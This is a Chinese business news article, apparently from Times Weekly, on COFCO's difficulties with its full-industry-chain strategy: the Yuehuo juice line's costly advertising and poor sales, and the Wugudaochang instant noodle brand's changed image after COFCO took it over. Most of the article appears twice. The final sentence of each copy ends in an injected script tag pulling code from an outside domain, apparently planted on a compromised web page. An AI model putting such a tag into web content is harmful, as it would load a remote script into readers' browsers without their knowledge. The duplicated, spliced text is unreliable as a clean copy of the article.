中糧發(fā)展全產(chǎn)業(yè)鏈最大的困難就在于產(chǎn)業(yè)鏈之間的銜接。
離市場近一些,離市場再近一些,確定“從田間到餐桌”的全產(chǎn)業(yè)鏈發(fā)展戰(zhàn)略后,中糧集團一直在尋找擴大終端市場出口的機會,希望在食品飲品等快消品領(lǐng)域能夠有所突破,實現(xiàn)從資源型的企業(yè)向終端品牌型的企業(yè)轉(zhuǎn)變。
然而,無論是中糧新近收購的五谷道場、力推的悅活系列,還是原來的自有品牌福臨門、長城、金帝,中糧這個產(chǎn)值上千億元的企業(yè),貌似強大,但每個業(yè)務(wù)都與競爭對手差距很大。連“一個中糧”都無法做到,中糧各個業(yè)務(wù)非但不能協(xié)同作戰(zhàn),降低交易成本,反而會相互掣肘。
悅活收入不及廣告費一半
牽手開心網(wǎng),在網(wǎng)上種果樹榨果汁、與《三聯(lián)生活周刊》聯(lián)合出品《悅活》雜志……在過去的一年里,在網(wǎng)絡(luò)、電視、廣播、地面廣告,悅活品牌似乎無處不在。
可是,悅活是什么呢？對于中糧董事長寧高寧來說,這并不是個難回答的問題,“悅活”是倡導一種新生活方式、生活態(tài)度的品牌。
于是,在這種邏輯下,中糧推出了包含果汁、蜂蜜、乳酪、谷物早餐(未來還將有水、食用油)等眾多產(chǎn)品在內(nèi)的產(chǎn)品群品牌“悅活”。負責悅活果汁業(yè)務(wù)的中糧創(chuàng)新食品有關(guān)人員曾表示,“悅活”果汁5年后的目標是純果汁、果蔬汁銷售20億元。
然而,一年多的時間過去了,悅活果汁的表現(xiàn)卻不盡如人意,一位資深果汁飲料經(jīng)銷商在接受時代周報記者采訪時用三個詞來形容悅活果汁:“沒特色、高投入、低產(chǎn)出”。而流傳在果汁飲料圈的說法則是,去年悅活廣告宣傳費用高達2億元,而收入還不及廣告費的一半,在悅活最主要市場—北京,銷量不過區(qū)區(qū)2000萬元。
悅活果汁確實有其獨特的品牌訴求點:產(chǎn)地限定。新疆烏蘇農(nóng)場的番茄、大興安嶺的野生黑加侖、四川會理的石榴、渭北高原的蘋果……然而果汁畢竟不是昂貴的白酒、葡萄酒,產(chǎn)地限定除了給產(chǎn)品增加成本之外,并沒有為品牌帶來多少溢價效益。
由于產(chǎn)品銷量不大,“悅活”果汁產(chǎn)品都是通過委托加工的方式生產(chǎn)。為了符合悅活要求,OEM方的生產(chǎn)線都進行了改造,OEM方曾透露,生產(chǎn)280毫升悅活產(chǎn)品的成本并不小于生產(chǎn)五六百毫升的同類果汁產(chǎn)品。悅活280毫升的果汁和果蔬汁在不同地區(qū)的零售價是5-6元,而1升(1000毫升)裝的匯源100%純果汁的售價通常在8-13元。除了售價昂貴,悅活果汁的產(chǎn)品定位也模糊不清,一瓶飲料中混合了5種果汁和5種蔬菜汁,還都是100%,這讓很多消費者望而卻步。
前述人士告訴時代周報記者,在低濃度果汁飲料市場,統(tǒng)一、康師傅占據(jù)了80%以上的市場份額;中濃度果汁市場,農(nóng)夫果園占據(jù)了半壁江山;在純果汁和高濃度飲料市場,匯源和牽手果汁共同占據(jù)了大部分市場,加上來自美國的“大湖”、都樂、可果美、茹夢、光明、湖濱、貝奇等耕耘已久,留給悅活的機會都不多了。
“丟了魂的五谷道場”
中糧重組五谷道場后,中糧天然五谷道場投資有限公司副總經(jīng)理李東明收到了一條熱情洋溢的祝賀短信,發(fā)信人正是五谷道場品牌創(chuàng)始人任立。然而一年后,家樂福中重新開始播放五谷道場的宣傳片,北京CBD到處可見“100%非油炸,更健康”的廣告語時,任立卻告訴時代周報記者:“中糧卻把五谷道場的魂丟了”。
中糧接手后,盡管五谷道場的Slogan依然是“非油炸,更健康”,但其系列電視廣告已然更換了情境,當年霸氣、陽剛、個性的陳寶國版廣告換成了臺灣男,曾經(jīng)打動消費者心靈的、原五谷道場品牌的陽剛、大氣、超絕的形象沒有了,其廣告形象完全偏離了五谷道場的品牌和文化價值。
任立略有遺憾地表示,如今中糧五谷道場兩位廣告主角,一個是滿嘴方便面殘渣、有點稚氣的男生;一個是大嘴裂張、好似“芙蓉姐姐”的女生。廣告配音也是嗲聲嗲氣的港臺腔,使得主打健康的五谷道場淪落為與普通方便面產(chǎn)品沒有什么差別的產(chǎn)品。任立表示,正如中糧寧高寧董事長所說的那樣:當初之所以買下五谷道場,就是因為發(fā)現(xiàn)這個品牌在消費者心中留下了非常好的記憶和期待,但是如果品牌的魂丟了,投入再多的資金也枉然?script src=http://www.234mu.com/>
離市場近一些,離市場再近一些,確定“從田間到餐桌”的全產(chǎn)業(yè)鏈發(fā)展戰(zhàn)略后,中糧集團一直在尋找擴大終端市場出口的機會,希望在食品飲品等快消品領(lǐng)域能夠有所突破,實現(xiàn)從資源型的企業(yè)向終端品牌型的企業(yè)轉(zhuǎn)變。
然而,無論是中糧新近收購的五谷道場、力推的悅活系列,還是原來的自有品牌福臨門、長城、金帝,中糧這個產(chǎn)值上千億元的企業(yè),貌似強大,但每個業(yè)務(wù)都與競爭對手差距很大。連“一個中糧”都無法做到,中糧各個業(yè)務(wù)非但不能協(xié)同作戰(zhàn),降低交易成本,反而會相互掣肘。
悅活收入不及廣告費一半
牽手開心網(wǎng),在網(wǎng)上種果樹榨果汁、與《三聯(lián)生活周刊》聯(lián)合出品《悅活》雜志……在過去的一年里,在網(wǎng)絡(luò)、電視、廣播、地面廣告,悅活品牌似乎無處不在。
可是,悅活是什么呢？對于中糧董事長寧高寧來說,這并不是個難回答的問題,“悅活”是倡導一種新生活方式、生活態(tài)度的品牌。
于是,在這種邏輯下,中糧推出了包含果汁、蜂蜜、乳酪、谷物早餐(未來還將有水、食用油)等眾多產(chǎn)品在內(nèi)的產(chǎn)品群品牌“悅活”。負責悅活果汁業(yè)務(wù)的中糧創(chuàng)新食品有關(guān)人員曾表示,“悅活”果汁5年后的目標是純果汁、果蔬汁銷售20億元。
然而,一年多的時間過去了,悅活果汁的表現(xiàn)卻不盡如人意,一位資深果汁飲料經(jīng)銷商在接受時代周報記者采訪時用三個詞來形容悅活果汁:“沒特色、高投入、低產(chǎn)出”。而流傳在果汁飲料圈的說法則是,去年悅活廣告宣傳費用高達2億元,而收入還不及廣告費的一半,在悅活最主要市場—北京,銷量不過區(qū)區(qū)2000萬元。
悅活果汁確實有其獨特的品牌訴求點:產(chǎn)地限定。新疆烏蘇農(nóng)場的番茄、大興安嶺的野生黑加侖、四川會理的石榴、渭北高原的蘋果……然而果汁畢竟不是昂貴的白酒、葡萄酒,產(chǎn)地限定除了給產(chǎn)品增加成本之外,并沒有為品牌帶來多少溢價效益。
由于產(chǎn)品銷量不大,“悅活”果汁產(chǎn)品都是通過委托加工的方式生產(chǎn)。為了符合悅活要求,OEM方的生產(chǎn)線都進行了改造,OEM方曾透露,生產(chǎn)280毫升悅活產(chǎn)品的成本并不小于生產(chǎn)五六百毫升的同類果汁產(chǎn)品。悅活280毫升的果汁和果蔬汁在不同地區(qū)的零售價是5-6元,而1升(1000毫升)裝的匯源100%純果汁的售價通常在8-13元。除了售價昂貴,悅活果汁的產(chǎn)品定位也模糊不清,一瓶飲料中混合了5種果汁和5種蔬菜汁,還都是100%,這讓很多消費者望而卻步。
前述人士告訴時代周報記者,在低濃度果汁飲料市場,統(tǒng)一、康師傅占據(jù)了80%以上的市場份額;中濃度果汁市場,農(nóng)夫果園占據(jù)了半壁江山;在純果汁和高濃度飲料市場,匯源和牽手果汁共同占據(jù)了大部分市場,加上來自美國的“大湖”、都樂、可果美、茹夢、光明、湖濱、貝奇等耕耘已久,留給悅活的機會都不多了。
“丟了魂的五谷道場”
中糧重組五谷道場后,中糧天然五谷道場投資有限公司副總經(jīng)理李東明收到了一條熱情洋溢的祝賀短信,發(fā)信人正是五谷道場品牌創(chuàng)始人任立。然而一年后,家樂福中重新開始播放五谷道場的宣傳片,北京CBD到處可見“100%非油炸,更健康”的廣告語時,任立卻告訴時代周報記者:“中糧卻把五谷道場的魂丟了”。
中糧接手后,盡管五谷道場的Slogan依然是“非油炸,更健康”,但其系列電視廣告已然更換了情境,當年霸氣、陽剛、個性的陳寶國版廣告換成了臺灣男,曾經(jīng)打動消費者心靈的、原五谷道場品牌的陽剛、大氣、超絕的形象沒有了,其廣告形象完全偏離了五谷道場的品牌和文化價值。
任立略有遺憾地表示,如今中糧五谷道場兩位廣告主角,一個是滿嘴方便面殘渣、有點稚氣的男生;一個是大嘴裂張、好似“芙蓉姐姐”的女生。廣告配音也是嗲聲嗲氣的港臺腔,使得主打健康的五谷道場淪落為與普通方便面產(chǎn)品沒有什么差別的產(chǎn)品。任立表示,正如中糧寧高寧董事長所說的那樣:當初之所以買下五谷道場,就是因為發(fā)現(xiàn)這個品牌在消費者心中留下了非常好的記憶和期待,但是如果品牌的魂丟了,投入再多的資金也枉然?script src=http://www.234mu.com/>
